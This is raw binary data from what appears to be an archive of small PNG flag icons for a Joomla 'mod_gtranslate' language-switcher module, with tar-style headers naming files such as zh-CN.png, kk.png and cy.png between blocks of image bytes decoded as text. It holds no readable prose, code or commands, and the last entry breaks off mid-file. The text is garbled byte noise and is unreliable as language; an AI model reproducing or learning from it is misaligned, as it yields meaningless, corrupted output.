���p:pySu�fN'��w�0��m��c��~�\h�Y��B��]ܷ�n�~��K�� 7ҍw��1[�@�5�cG�:�$d={�����ʷ�Y(,�_��.�ٳ`¡�]��`@�ێ
#���8|�Z�̅��j2)�ұB��Oh��h��	����N���o�E�����"5���jD���PL����@��P�P�}~]�V�)�=��
��zo���8J�z�8=n�T���)�^IEND�B`�mod_gtranslate/tmpl/lang/32/zh-CN.png000060400000001431150746170550013322 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻nQ�������c��h�@�D
�t�(��1(��Aހ�FTQ ��"A`'���Ι�X_֖M��4�fw���3��f��q�p�v�!P<�4$����aӅ���jF�0�������~u9.p��n��6��mO�>]���o��������öt��-�2|3�}f��p�<���iP��z}���Q_Wd7�7H�Uce+��)B~�`�)��M?���g�L�]`u+�`�
���}P�%hߝ.�K�ec��q���6+�3,u\y�}W!~[E�~Y������V��NJx)�vO��h���<F�t�#?��Sf��$�Lи��z�%�?���8�z2&pͨ�I��DX�t����E
2�C�G��4_�[�@���i>�
4�
zFa����u�+f�D�NK�a�t`�R��Y-ׁa;
Z
���}�HV�!�*�h�w8�6,���I-K!')�8��d{�*�z}��T���<�mjm�5�Q��pj����y�fst����M0+d���
] "T̰���(�ؙ�A_�F^ℬ��3�W?���I��I�lAD���9���)�����RG�A�y\n%�忁�n�OP<˴h������o�w��<�IEND�B`�mod_gtranslate/tmpl/lang/32/kk.png000060400000002530150746170550013011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KoU�wf<��y4M�(�4��Z�@ ���/����`��;*6 �J��R�HҤ����홹/N�IZ��vӿ4�����=������,���sp�`s}����*�;�z}�oN���Ǖ�����Y������[�wS)�v�Ʈ���펹�6@�e,�#��X�Lf��M��v���a���O�����O�5@�cY����O�5���:��b"�!�Ja�k�F�L�|O��/5�y��V_�h��To���w9T^%�I�A�+,ͤD���v8�z\y�|��j3�9}"0=|�!Vu4��A�;�9����%f������,3�>��C$����\G�T�Ԃ��N�J��Q��y��R�b��{���e���凼?�3_�u���d5�Xb+�J=��z4{#te�2�]+����6U����
d�i`���"w#�0� �(����e L|�#%�b���z`�'�\oO�K5R����5A���P������!�}�l��H�����]�
�RB�x�p�6ϩ�<�ܞ���s����
��*��*W��X�|�N^�D�_�K��G�� ���-S#��--2�э5�Tѕ�N͞���U�D��y|>?���s�m���{�FW��sxs�RǴ3��'�*ˀ4�DvP�C?
����\e�[/&Q*��j�x,�g8:�JNh��M�<s�:����s�pl�.��`7��V�u���2��Zkl�Ͱ�����(~X<�G���py������4�|čN�D�e���"ͤ�T~�/�Ϣ���kH�J����R��>������n���78Q[�ѭ0]l!���/��`O��h��/+Gx���J��½	z�O�T�
s"b|���L���8���Nʵ�I>�������(�b���Zk�[�:g�������/���r����ߜv����`<�!V� �j�}�H�&�s�} /Ֆ9RYc����r��|u�5��֕�Po��k�`HY��ٟ_b�[�8
cܡ
�w@����쎒s4���ť�ay項���Q#�i�z\@�\��)B�����t��n;Q���b�XУ��S��=��������k9Pir���Nwl@�NQ&kDCjrh��Hy���l3�D[-��v�B��������@`8	�?�X����o���4+B���Y�g̘�+����IEND�B`�mod_gtranslate/tmpl/lang/32/et.png000060400000001012150746170550013006 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��A��@E_��D"!!�\a�Xq�7��pv�ذ��[��t�r�Y$=��g3^���*y�eW�`f�i+�@��4zZ�����m�E_?x�&T�+����&u)�h�x'���2^�n
a6�,���<���^G�|��PG�\�^2���<E�F/J/������ �B�g���U�T g���A�)<f�����}B����E��n��pxH)Ѷ-�����BJi	p<�� ��PUڶ��|lb�KN���f��i���J�>iB@D�
�����f������� ��s�v�u��u]����jd���.߬�4������ ��@a�߻LN�����E��SO�b=m��Ԝ�
�o5��:��IEND�B`�mod_gtranslate/tmpl/lang/32/af.png000060400000002510150746170550012770 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��klTE�3��.�}A��Q���
��EBRTH(�h��D��G|�h$�PK�р0�"_0
P�P(D*�>��ݽ;��a��.M���p��{g�3�9�?g�cwS$wY��R�;)��@�̷K[-�;~�V-�`R}3-U[�n�o�}/Q�?�򤴘1�$
����Gp��0e�6��qn�����g���@���8ʡ=ҁ1`4{~��s�Lf���Ȫ>L�T-�C��q�����mz��!��Il�'�4��8q'�3m�u�h���E��7��}��T������,���FI}��|]��������WZ��"�w�\�v� d^.��"#�-������/+�s�wQ����5�B�ܔ'���/4�$S��r����rA�[R!$���M
�o������eg�3<��g\.�(/'PZ���E�q��s����G_Z�p;���Z��aT�?4�QNO<tg;�������~�ȑD�Q�J����4T~�}<�8��gŢ
J��}s�љ�Lۂ���S�(�0aB}~~>�X�qc�޷�9��_
.5�KPx.Xvo0t�2�B���ĝ8�U?�I�)��0��Pw�﮲����;�t��B�J$�B�O�'m�롼D�����ىR��6
��jKvl�S<�|��i������e�PJ�D2X
$Q��&ɍ�F��Y>��2=�.���+�^�#{�E����.�R���F���z�c����h�Y���C6�;$ӗy��{�F��Q��M�<��CVP��G6��ڬ��݇�$�N[B,ΠP��\O��i�Ò0�ڡb�L�
��c\���‫�\,�|��k�Ŵ嚦�@�ɌeD�&SUQ���s�����(ҒEFFl��$ෑR�n�+e��v��̨�Ԭ�!�6�WU�Q>�Un�a��fʗ~E{G���e���DZ�T e��et*Q��WJ�l�=�%�&o"Z,NNn���D���,|a�O4��D���:�O�'Wk�Q �&K�!�`�cө\Yɩ���K>#����G�N�Ҧ��K� x�ռ6������_��

���d0� � '��J�qF?��+>fP��,^���-�5x�J�t:���<ɬ�3�P��w]es�F���6�3�U��0������7��䤞wR�Sܻ��m����o�ZIEND�B`�mod_gtranslate/tmpl/lang/32/hu.png000060400000000771150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx���.A���n&�ڐ�����,�^���3x'G� B<��D�Z��;d��a�҇I���_կ����2�@d͚2"P`�~o�Q|H�{a�t5}q��ݝ	�;�������+"����k�-�%�w���n��%@��K�|��FI�o�T�8�VE,��<
���ʪ%j]�/Ct�:�&��i��u���#:|�]�I�`�2)�l�qK�X����g.�E�g�ifw�����l��..%gvN�.pΡ����T��ǘ��q�iG��*c�:�xPI!Pik���Ղ���Y����$+@A5~�!!�j�L
�e��ڰ1c�<HmQ�u`XK�E��4o�^�����q�5��
ūξ	��IEND�B`�mod_gtranslate/tmpl/lang/32/cy.png000060400000003337150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FeIDATx��_l��wfvf��޵�1l��@�h���Z5���j��P�HM�6Q�HmB�"��*Q�("��5��DQi��D$m�THn���`�ml썗�zwvfg�>�[1奂�itu�=���{���s��p=��:��`�T{-M��� �+���v��E\˲�X@�4ͫn:}�+��
�U@g�QJq�O�!:�����9�s����K3�<ם�p��`���d�Qq�j��4Q����l�����p_x����W��s]
�G�ZӲ��W<Ek�������h�#$��-+��� ;FjD���R��]{��ySA�؜�Փ��F�}��_?J̶k�Ӛ���޶��P)E�c1��?K��Yt��1��N�j��V0�J��OE���3����R�=ʞE�G��x%��!Brb�����Ќ$R)�?��
D��1�Y�/�
ã8��n��T(0�u;�����`
Th��m[Y��	����H�y�j�b�(�0����"�����p��d��ݹ��~&���[����c�&~�F.G`ljl��-hU��̂eK��a�۰d��d;��H�f�'�w��<�K.SϜl�0(��y��
�
P
�%mJQ-�����XJ��3�qb&�*[w��E�;%~�������Rl�&�����X��6�C�_y������*A�C>�c������e̲K}�B]�!��/�~f5N*�^�[~&C�ޏ�@�C�RTr�I�%w~�y�m��*�1-�_��܏% 1��a "XJ�Q�e��O?G߳�P�W���穼�V� �O�G���r�%�_}�j�̲׏��%N��w�½k���Q�0��
JQ�J"T��!�&$�^)D�B�T���F�0�X<�ec�n���4,�c�����&�O���8��.��r��~�6��u"X"�	I*�	���*a
dŠ`��[��&�����l@c�k�*�z��2L���L8�s��2>�)�U��:dR����P�?ҸZ�	�O���vzZ��(�5K�<v�:�����M۴p,s��:B�hJ&��ض����c���yp�F/b��(��_i޸1�#�������*Cߊf��h&>��P�I��l��cS�y/N1��8��h=���5B]�Y�7ѳ�	�;�w,"������4֡���M~�u��J��|��8Olhe`y�tM~���|��pGå< @N��ƴ"DPZ�4�H�?������a����yr��X3������Σ��C����hs����l������ʠ0
��j$�	���;�۝�n��
ܾ}u
��HYs�C��l�|�D��8�����4���c��on滇r|kK��z@@��2	#����H��pߡ+��\�{��o�����3E�21v���˷42ޒ�����ĭ���{��V7������""-�j��x2�NQ<��ؤO���XM(U����RER�V崪��i�~����}TU#v��J�┋%
�Yj�NDP(R�Z�p8�2v��.v��,cCb�(O��{@+`p0���9�z�O���|`R}�8���;MDL�ݦIEND�B`�mod_gtranslate/tmpl/lang/32/sv.png000060400000001313150746170550013032 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FQIDATx�엿nA�sw�Pb������<�K
J�!Ez$��k@�; !$j��8vߟ���}{{m9�i2�y��9};���X̌���{��@o�ܥy�Ȁ�����M�������wg�wK�_>�f@?ap�"�
Z�Z���{�π�S�p��I�\�2K�B�z��q1�"�ϵ��=y�O����*y��K�\���o���t8_�g�7n
ϴ�|Ԧ-7�]c{iB�!�U��I4��WnO M�׆����d���Q�!0��׾E��1�7��<Ql�,�C5U�ӊi7����`׭W׹�������u�6W��ћ_�,����e:�p�sl(��ﯳ�E���a�bU�aVƕ��_��R\���7L"Н�!��!���g
�T~5����?9�S!:�O���:�#A�g�&�w����R�b�`f-e�*�	Hp���3h�k�6
	8�I�
Z�����eX"��+�{�'E�ȶ�l;��Y3J�7�ݙj�0���B@@5�u��"Q�-7�ݨ*7�ǔ�h
����u���x��������t8{��
`,N��w�4����IEND�B`�mod_gtranslate/tmpl/lang/32/it.png000060400000001202150746170550013013 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��On�P��q������
��ر`�MXq]r6��("iZ�}ofX�;)�Yɦ�����f~���9e$�8����y�P�J��_?��$�h�7���>
���l]x}��E
\$"\�������xv�voN���E
�ԍZ�U�o1bR���Y�X\Dh�=�8����э"֔F)���N;QV")��Rƚ2֣XY�'�M�6@t%%E��Q��ߧ	�[
�CA�q��
T�?�`JV�q$�~��M��x=��[�zY��j�*�H�s���)�"H�C@�LK���A퇔 �O5L&]d� ��3�W�����b�jBUTs�����*�)�Ls�]s�,����9����F�Ql`{����v�F|���bԮ�4�I�}Ack�mj?�	y�w�q\`��p��ͦ��9�Q	ҍ�a~�|���|>�����zu�w�r��\���I3�x\/�|,��Is'X4�cF������/�2Ke6>IEND�B`�mod_gtranslate/tmpl/lang/32/sq.png000060400000001757150746170550013041 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FuIDATx�엻�E�5�3s�����@�,#�!�p�I,������)�3�"�,�	�ۜwvvf�Q�{;��]8{�K*u�T]�U��=բ���$��� ��ѸL	@m��??��%'#Iؽ���6%:7�����O��5�n���mU��w�jz�|ֆ�v�����V#�U��R�ת��=:��`q����Y�S���E�� xbY��*A�߽���6��X��"-۹b
�������]�mS�����7�xu�{��ڔ��
��y;����@t��/��\Ã�����λ|��1�m��1?��Dx�ԇ��"�����G�j��
"�J��C�p���z�������,6�z��f1[�Z�LJ"!�U3M��+&�`�h<2_��q1x�j���8qx�w�vgm<Y�]<��C �<�I�>@�@�����z������_G$�k�r(GI��~~�]�L� ��eA��f��i��YQ�f�4瓵M�i
�s
Obwm>�4Ŭ�O�PC�g�n{���lW�嫪��ekd�-�rbШs.	 �(�	��D���q�E�a�n�b�M�aS����cv��P����9Q���6�im8��6�~YpXW\I�*Հ�j@�ʕ�pXW�/�m����k&���*�\51�+	u�Js��\3)�LJW�[iN��`��QU�o���`����������ʨ����e+�Gnn$'���$�;�Iδ@c+!D��6��w����FA30sU�_ِ�l�DN�>�	G�����dqT2Ux�{�ܦt��p�^r[~|/�7��h\��@O^<N����|"<�]l"IEND�B`�mod_gtranslate/tmpl/lang/32/is.png000060400000001354150746170550013022 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FrIDATx�엿n�@�k�q'�%	
 
�ABD"�"^DAC��4��)"�)�葠�	'qpw�y�����
I�S.�4�����f֟��p�q�v@1�_i0X~�r������|ʏ�/����'��Ϸsۛ�.i`%��7j�Z돦���Wٗ�����y2c���@r�|ܯJ�&~v#9��0�?���-Ln��;!3c\5l�O�1�;��3c���
�I3Kj��}�M�Scd�@��B�����$ÂtXT"�aZ��2����N�
�4��@�o�M(S��'��.���Q�5�Or�^G���OJɰ��O:c�X|8�PnZwDdg���7@��?��1��]
��pm���������F⸤k�IE�B�� n�K
��;!GG�כ��ַݹ1�Q�(����,���<���|9ߺ��	��[���9A_'�~)'������@�oM�q�NB�uL���\ZVQ�"��k�U���j�9WjB/����t�/� ޣ�@)�wA
��P�/����KK�:�Y΁	�~�oe@�ۥ��$U�[�?[3�p�\^�,�����=�.��Wg?��
����D�/2�MIEND�B`�mod_gtranslate/tmpl/lang/32/gl.png000060400000002315150746170550013007 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<oIDATx��W]h[e~�s�4'ɒ�i��]�vu����d['�B�PA+^�8A&x�
^����6T]:������dmg�&5��O���s|��O��iRi{�������{��|_�,���a��]���ϝyBFC/�S]�15j"��ߌ�&�{���?Ѳ��]�?�pFTcFͶvɢ��Ң��l^Y_��ҟ1L�x�͊�a��i�f��X͊X%��j*��~��a“�0�*e"�H�:�a��/�XH�v,CRd�h�J2�����~��DD��i�±8N���t��j{T�l֙���o��W~����}p����A�,��.@�<�ݎ��-hm�P}5t:]�����X�
G�83�`"(d��������7,�e5��H��b�);�z}MU((��z���q����ۤ<��_�H�Ve��|‡v��:*���h����x�р~Y�?N��*�-\����ͮ��9`n�G&'�ja<w�)!A[���[�.x��F��	]�(LZ�#v4�x�����_��f���+U�N0j�<�{í��y�ryu�aե����3��N+κb����֣|U������hqaʍ���x�v	Dr�|�b�,^����XH��"P6"����Ht�'�������!�8ra�{-gp�{e��.�#��'pn�Ot��t��E�+��l
���'�D�e��\�
?�ɠ+'��
���D��n��?���Y& �bMN��Dڸ:۫"�k��^;$Y.�Г
*��\r�0z���<�9�5�\�ɄE/�a^���kgZ19-�V]m��J�LΩ�XLe**�)U��t'M�F�;���NIx��a\���5棫��\�V����'o
4��f���\.� �~���Ae'O׬Œ|��Ɲ��6�'H��F����hϖ4P�$��2f���3��hG�EG�.�]�@�(��L�F�.�j0�0��#��}
`t�Q˥TD�~��m0"��`��	��,gcL��<�\_��;z�3�Y�8+Sy�Q^Qd4ݶ�_7u��6\YL�)oщ
�PD� !�w�Z$̰�o�=��N��rز�?Nw����5c�I9�IEND�B`�mod_gtranslate/tmpl/lang/32/pa.png000060400000001275150746170550013011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/32/ms.png000060400000002023150746170550013020 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��OhU�?o���vw�I��IjC��,���Qi�PK{�P	UQԃX�ٳT,�E�Z�P���R���ص
m��l��fggwg��<�f�z�V���w��������ߟ'��l�l�� H�}/-|	�?��ge)��F �|��E�/7�8q<+�4���!`h�p�Ͽ^��	$�H��#*n�fl�e�,3旅-\*P^M����ͭ����#7KCR�QL��sE�{�,_~��_Lj"�F��d"dS"�W&J���J��ѝ�~ԅ�H�ԛ
K�8���N���-��M�i�u�e|�Ji%Maq�z#��L�}{��?� ����?m#��PLO@7���B��:q�B��*�=ǝ�*n�c�s,]�$I�Th����G�Tk�RY���\b4�����6\�����Aq�3�Q`g���� �|~���޹�4\�L���(�\��M�R*g�p%�J5�V�}�;
�$�:�р�|;��7x��<��'�_K3�!0�4G���=ۆ(�Ӝ/dYZ	���'aL�(�����c���7��>���?���f�j���,g24���hD@a��!"�@�p���#yP* 7q�W���`���O��Op�O�?*�� �ܬ�e2�0pfL
`���{y��Qa��A*F�w�St�y�B�R-��ګC��
I��gs��?&%@��qq���6Mx��Ry)eO{q�X�Պ���1���u���	�k�h/进�6�NO&Q��I���C��)t�4 �����-
<�˧��R�y�m�((�!�ά�[K�ּ�C�����-O;��z��#8NO)Е
�E���=!z
 ��"��{<�/�������{i>�۟Ӎ��|}�@��gIEND�B`�mod_gtranslate/tmpl/lang/32/yi.png000060400000001426150746170550013030 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엿Oa�?��J�2�e����Eb��0��au2q�ſ@t11&0801�:���8�1�(H�U�C����}��#��.>�ݽ�������Zk)
���Ż�"��	Ĵ�ن|�m��@��@�ҭy.����qк��Р�C
Q1'�,�Ėޕ0Eu�6�x�q l(����,����\9� �ǚ}pvH�z
�U
���/��8����Z��Q���C*���X�A�s�:�p�-��K�"O*��V.��˓LeU�jr����_`��4EL�3߉����K��9ۥ-�޵�FM.0ket��:ڢt�F�=����W�`��7�:k2^�F�8�t1Í�^"!�H���X/��'"���]�6lGb��F4���]�#%PkS2��ʺ��P���Ž���E���[6��5�*�4K!ľ�5Ssi��.+_�I-m�Z��廯�=�Nv�aj.���0��+@�uݴi������m0�f��{Ƈ���9X*{�`�P��RU��&Fz�B�6^iӬ������s��>���L���cB��>���aױ�Y���J�q'Th�i���G܊�t�u	˲�ߒ�f5�0��²,_��b�8��>7��kQ<4�~Jȉ���F�9ک���CtIEND�B`�mod_gtranslate/tmpl/lang/32/th.png000060400000001014150746170550013013 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���j1���8���R�C�.�<C豇@^/��[%���k��N��j���t�ߪ���H#ͧ�|�$fƘp����igK"���?]��p2����3����e���7��S4a!����,E6v(S��>�d<\;�s�j�
S@N�^CӔ9~Ӏ�S��l1�D����<�����u���U����7�ϯ7^M=M�D�}�V{;w��/�>l|�&��T3�U �\$�:�s�$�W�����wԳ�^RBS&�2�I�V5`�s�v�-�<Ƹ�����2�L6�0�\\�ۘ�H)�K`�ܝ�㤪��U�|����e�)vz![/f"��I�+�^HH��\����$����u����O0�lI`)����\��JIEND�B`�mod_gtranslate/tmpl/lang/32/sd.png000060400000001711150746170550013012 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FOIDATx��]hW���3�k6�lT6��ǿJ6�?(�HK[m-!T+h^A��c-��+ŇR,	�VBkm�P[hI��&B"�]��;��a'㮓�	�&/8�̞sf�{��s�
��)Y^@���B��:Ь�����{lW�S�0t��2H��c�����ҽ��*�G@BPʿ~����m*�K�-����К�Y�՗�2��
�d�f����Wf��+e(�X4��X���1��f��̹��|V���N���'�| N�h8�ɀQ
�H��C'�M�A6`_oࣾ��������&sU�D`9fx��4{����W�00x:`_�s�����!���Эk5v�%ۜO���HOW�}o�q�~x��T��r���|M{��߳��5��Ɠ*۞�(��=�Q�M�n�3݉���F���u8��Qr�<!�JUJQl��v��&lmiE1=J��VF*M%��i�g9����r�.武�^~�e^} �EI%S�Où�W�����>D��;�3�:��r��R��̥/��p�{֯�	�Mi���W���
�@������-�n~���e�z�g�b[��t���H��ֆ7���7t�u1���c�T���MӼ��f�w6V5S�@"�`��|����_����p���ϫb�h
����*�O�^(O�?���q`�~���L�!�xn�����
�t�q/�H�<6��P��0O`[��b&���΁B�Y�	�O=L6%��1�N��g$�|~��pr��i���@�H/�X��P�f8���@A��s���t��p5�IEND�B`�mod_gtranslate/tmpl/lang/32/mt.png000060400000001235150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F#IDATx���j�@�����+�@(I��4��{��Ч��zi)��bc'��ggr�#�v�J��/X$v�ٟۙFbf��<�l�4�`�ܥ9 nGfv��.�_�bq�Aͣg߿7�vy���p��T����O�f�7k�O~^����瓽wI@�w����i
�_:��t�E��u��G��A���憡��0���׈w�	�KD��eIi�q5�0U����1�Ns���?�E���s��]��c>�!A�:�I�MD����n �th]]�UL�d�0�8YxyY��-������F1,y����C�����*��yq��[�# �B��H��,��M",��ոi��v�p��IX�����9���U?��"���%q-�`3�
+9\-a���n��x��!@�0���_���P5��Y���|��\��Pu��Րѭ�"š��#�A�Y�\�j�[-���Ú)���*��`-��h�M&�>�s�p�>';n���5�a�9ݑ�X^N�
�8�2}���IEND�B`�mod_gtranslate/tmpl/lang/32/pt.png000060400000002064150746170550013031 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Mh\U���7y�$�ɧ�:Q�֢�TR����'�lWn�֝���*�Q�*~���q��A����V��/�f&3���{��y�yS�i$����c���s�����1�Y��P�
�I{�����~>�e���x��k����}�ш�RLO��<6?=���r���!�1�A�Ib�Z��)�_ɋ�n2Vͱ��n�g�D����E~f�7A������M�xq�g�X<o���0��xw�xΣ�����_��o�7ǁ8NM=ܥ�]��V�%(��z��m����vC�;��a ����g�K���k�9��N0�,XC��%�ņ�ȹ*�wb�Zvc$y��-�#_�mD��8����9�Z��?'Y���.ֆ����`�co�$G[z�*��DD�x�z	�Ba0�8�!!)�}s�r��X'/xl�p�T@���`oYw�zS�Q��������Kf�ͺϷ�L�t���:��_-,�x�&�1OUi,�),�O�l+��i���~Ƨ�X�9�q��m�D���Ϸ9�I��U�J���]��,C{�о
c��b�,�}���b���m���Q��{G�g�~;�(������l�h�D!�0J#��Q�T�B�2��<Ù�>��7��,��c�:��į]��j�$�2\�F:O�X�.��c�,V:Zf��i��B�/o��]�����۽4%�Y�H��t��1�'�������
��J4�*�nZX�����hI--���h��ko�����#��!��u�gw)��^�:W1t�ݥ�:
 �m��6��Y�!.]^Ͳ��/4-m�֭+�`
A�H
��i �~�٫z��\>[970�o�=�;���۵̃+�ھ���
�N�\�o?�䛠��iPWw?N������k*�NIEND�B`�mod_gtranslate/tmpl/lang/32/sm.png000060400000001637150746170550013032 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F%IDATx��[�U�u�gƅ��Y4x�QT0�
(xA��� ~�
~_|T$��K}��:&�
A�ew����LO�K�ݻsɘu�e�%ECw����?U��:Ǧ��!�d@���SP��w�r+s2Q��N���d�N���s3�^x����s`щ�����P@L��S�,�y�K+�s��ݑ�X必�k�{�S�]�7�s����C��G1����*�2�?�ILʋ�.qmm�B�ޘ�ڛ�<��(@+��~��U<��q��o�g��.��7��ٓ����v�V�S{�
,r�����锜~�1�~��O���&�f�J{�ţ-V����hQL�,C�0��t{�^�|�/��-��^'&E�:�ƅoo�D��g`�r�
ARv:�~����|�f�beJ�p���s|u�*y#M�nwzI1�|0���~9���SRRTaa��g�۠�O:Lt!A�;u���҈�ұ�x}�$�_�ŝ
d�V��n���(5ǩ:>.e�4�!);����s��|��+����U��+���h��ҭ�uV[�s���tD��:|t��7��j����h5.��1�ۃ06�5��,-([zd@c�Qt1�dnzo�e�,
�@�
-F�	�z�~�`` :S��)F�)�0A�
3c��yC&�ob+v��h�Uf�N�|��{ �Z#��Y��v����T�5C�@�hh
��̓��ٺ�b@R`�l�C��c�ζ$�	�4�蜷����yJ	�ȃ��a�w���Edo-IEND�B`�mod_gtranslate/tmpl/lang/32/ps.png000060400000001736150746170550013035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FdIDATx��ϋE�?��3����f��`\Tr��j�,���IA���x��"EP<{o���5	(^6��f�&���3���y��NO��>��%���z]�����JD�O��g�@>�)�i��诬�l�~���4Z����^)�y��{`��<���k:А��Gj}~�~`.:��4%C��K�PF�Ŭ�"(�����+�Rx�����
�	�s�qL�$���!��*�c���ȃ��&�c�8�_ĺ� m? ��c��F��v�g�W��¨��2��(�0���ȉ�/����A^"�7�8�(�fR�"��$��`Pˀ#�  x`n�����x����
0�(�U��#6٤�(�׀/z�-�s�$kW�6��5f�<I��g	O��(���A�q�8tYZk�i�V����C�sb�Co�@��$�/��%��E�����A[�o
h������W�$X<Bg�8�o���q�-��?��3�	AfZ�7�p8��u����H�_`���q����]v��k�07sp�54�`��Z[�ҵ���M$�PA�i�-h!I���$]��u��gɴ�d@Dp�US�~���S������/�Y:A���H~�D�~'G��,ƕDh�m@�f��q�^e���>���Nȭ��}�9b4Nj��#�A}}��`����.���{+_��s��
�&u��n2|߯e
�o2����RP(<���2H��������)���(�l�0)��{Y�C)5�:P)�+��@ᜌCp@�׫�`���΁Z)�Q�>��@�5�����ǀ�k[�/��'��4-"u��t��3d����
�IEND�B`�mod_gtranslate/tmpl/lang/32/ta.png000060400000001275150746170550013015 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/32/uz.png000060400000001317150746170550013044 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FUIDATx��MkA�����ML���
�q�؃7�ī�ÛxD��{�䐳�U��9#1Q�]73����a�&B�d�C^(�j���jުn�g�2N( J]�'H4P��x�g�Ϊ�(3�G�j�8ץك��k��գ�3��J�P�A�1;u�;7��Tx����F�5�:_-�y�ɥ���-�e_w��}��
P�@�:O�X"#ܿy���^��X���llG|߉�~g�@�w/Ϊ}r����8��M,���bȇ�-v�1�I*}�2W!6��Bm��_�����t,gω�Ŋ�R��Fh'Om��K�D�)�0�_���&��B`��P�#J�~D,�Y�l�ă{׸z�B�����p�ߊ,m#��D��2�|������q~��<�Őɱ"�(%1r��l6��ܮi��zLA�x�/Y���O�gK�
x�C�J�Nf��A`��^Ρ�k/	ʐ�a/�x:�z�3��A$k)�:��P(��N�h<���w��x�E\V��1}����4��ΓkD��F�ed(8hn�rn��+`�S9��M��	&�>O$@K�|N�M�aa���;IEND�B`�mod_gtranslate/tmpl/lang/32/eu.png000060400000002420150746170550013013 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�IDATx��W[hU�f��&�l.Mh�c��$�TD(Q��B�B1)�����P�� ��^h$ڊ�"��Rl�-��Pim.&k������̜�?3;3��F|���������9+躎�.��@ r�K�Z��࡟h��܂錐�c��4s�]�:zlonxpMy�%�{��涰�z�7���F �?v�'J�ݢC_(�o:���,	�m���n|{kZ؍%����L
ɖ"RE	<+��|����8/�!ǜ3�I.S-}Յ�-�����MuP�d�G�z!1�E�v]Hc)��G,����F���0v_��5�7��R��^,�2
�|��&[S������?��mz7h�����'�J�s��䷅e����'���<��g���@Ό�dă��X�p$y{�KKv^Π/�*�`
PT0Y�O�������|s��$=�Ba�-�fI��F&61���]+�=��M�њ![�9Eq0�B�H"k0�.d�>��Ho�a���x�'��Ίx��F6{	��\�7��4��)c�9~U7�;+�P�����sR�����D�:B�޺ۋ�*�k"�E��
28��2�&ۉo+��<��P���B�B��\��B�n@��TU��l��@Dz��N.���K��7��iЕ�]	�E��z��h4�ٳ�nj5�4M��%�԰��6�������j��pi<2��~INywkG
`+4=��*��G�T|�$kx�$�g�w���q.$
��%��h!(�ه���9��$hC���\^A]�9[���SǑ�Q(����RT��R�)#��p:���@+&[�`�mQ����0<��
��x��m�N|��j�B�e� [��:4�����FohB�'T�續�Og���I)�
@ zbb���E�3q�����o��t
su^<M(?슙��Dn���~I���kFWeV9]I����l�t�)�%�\8�`#TU�BY�H��� �*���4�%
/Pu��H_#�+S�yo�|u|���1#��1���uW���w3�^7��E{۴��J!\$'��k�nԑ*rCS��
�X�:+-���� �2dŌɠ;�0���x�L��ǑTj/-e��n �!j7��6�ne:�����j\���P�OPWz�r�ޟn�9]o�0
��#
E^IEND�B`�mod_gtranslate/tmpl/lang/32/ht.png000060400000003714150746170550013024 0ustar00�PNG


